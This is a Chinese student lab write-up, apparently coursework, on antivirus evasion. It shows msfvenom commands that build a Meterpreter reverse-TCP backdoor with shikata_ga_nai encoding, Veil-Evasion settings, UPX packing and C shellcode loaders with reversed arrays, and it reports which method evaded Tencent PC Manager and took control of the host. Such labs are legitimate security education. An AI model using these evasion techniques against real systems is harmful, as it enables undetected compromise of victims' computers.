20155305《网络对抗》免杀原理与实践

20155305《网络对抗》免杀原理与实践

实验主要过程

1、免杀效果参考基准

  • Kali使用上次实验msfvenom产生后门的可执行文件,刚刚传送到Win主机就被电脑管家查杀了恢复后这次放入老师提供的网址http://www.virscan.org/进行扫描,有48%的杀软报告病毒。

1071527-20180403123910015-529844735.jpg

2、使用msf编码器

  • 编码一次
    Kali输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=kali的IP LPORT=5305端口号 -f exe >自己起后门名字.exe

1071527-20180403124913105-2130059686.jpg

理论上会降低被查出率,但因为老师说由于使用的这个编码平台太著名了,很容易被杀软盯上,所以实际上并没有什么变化。网站监测结果是51%的杀软报告病毒,还不如不编码呢(高了两个百分点)。

1071527-20180403125350270-1025021795.jpg

回连成功

1071527-20180409201315604-1499992142.png

  • 多次编码
    Kali输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=kali的IP LPORT=5305端口号 -f exe > 自己起后门名字.exe

1071527-20180403125724853-1531044486.jpg

多次编码依旧没有任何作用,被电脑管家查杀,恢复后放入网站检查

1071527-20180403131034955-549893399.png

1071527-20180403131301366-1222783460.png

尝试回连,录音功能成功

1071527-20180409201950809-393287228.png

3、使用Veil-Evasion重新编写源代码

  • 在Kali中安装veil,sudo apt-get install veil,这其中有paython的安装可能有些电脑没有wine32,所以需要安装apt-get install wine32

1071527-20180403144747895-180631940.png

  • 在Kali的终端中启动Veil-Evasion
    命令行中输入veil,后在veil中输入命令use evasion
    依次输入如下命令生成你的可执行文件:

use python/meterpreter/rev_tcp.py(设置payload)

1071527-20180403134103773-1495655200.png

set LHOST Kali的IP(设置反弹连接IP)

set LPORT 端口号(设置反弹端口)

1071527-20180403134415023-168119948.png

generate
可执行文件名

1071527-20180403134536876-1974907124.png

选择使用语言来编写

1071527-20180404093321816-1778887533.jpg

根据生成路径找到生成的可执行文件,放到网上进行检测,有20%的杀软报告病毒,这个异常难安装的veil加python终于降低了被查杀率,还是有些效果的。
尝试回连,拍照功能成功

1071527-20180409202326173-1091331504.png

4、UPX加壳尝试

命令upx 5305.exe -o 5305-2.exe

1071527-20180409204021110-1781431660.png

upx加壳后的5305-2.exe看着很牛皮,但是被电脑管家妥妥查杀了。。。

1071527-20180409204317580-1841255145.png

再在网站扫描一下,百分之48的惊人数据说明upx加壳没什么用啊

1071527-20180409204933505-1762969197.png

5、C语言调用Shellcode

  • 首先,在Kali上使用命令生成一个c语言格式的Shellcode数组。

1071527-20180403181721678-2109141883.png

  • VS编译运行产生exe文件(exe文件名不能存在20155305这样的学号因为网站检测时会说有明显广告语。。)

1071527-20180404080719672-610733010.jpg

  • 只有百分之十二的杀软报告发现病毒,免杀效果非常可观,重点是我的腾讯管家没有弹出警告,有点遗憾,但有觉得免杀学会了之后确实有点厉害哦

1071527-20180404073214846-201588570.png

1071527-20180404073024434-644395043.png

  • 优化

上面的结果已经不错了,但是还可以更好,比如逆序修改Shellcode数组,然后再用它替换上面的c文件里原本的Shellcode数组。编译运行后结果有了很大提升,电脑管家没有查杀出来,优化前后均可实现杀软共生

1071527-20180409205922920-824506258.png

6、实测优化版本、回连成功

按照上次实验用过的msf监听方法在Kali上打开监听,在Win主机开启杀软(Win安装腾讯电脑管家 )的情况下,运行最后生成的优化版exe文件,Kali成功获取了Win主机的权限

1071527-20180409202724755-1951114721.png

转载于:https://www.cnblogs.com/20155305ql/p/8707382.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值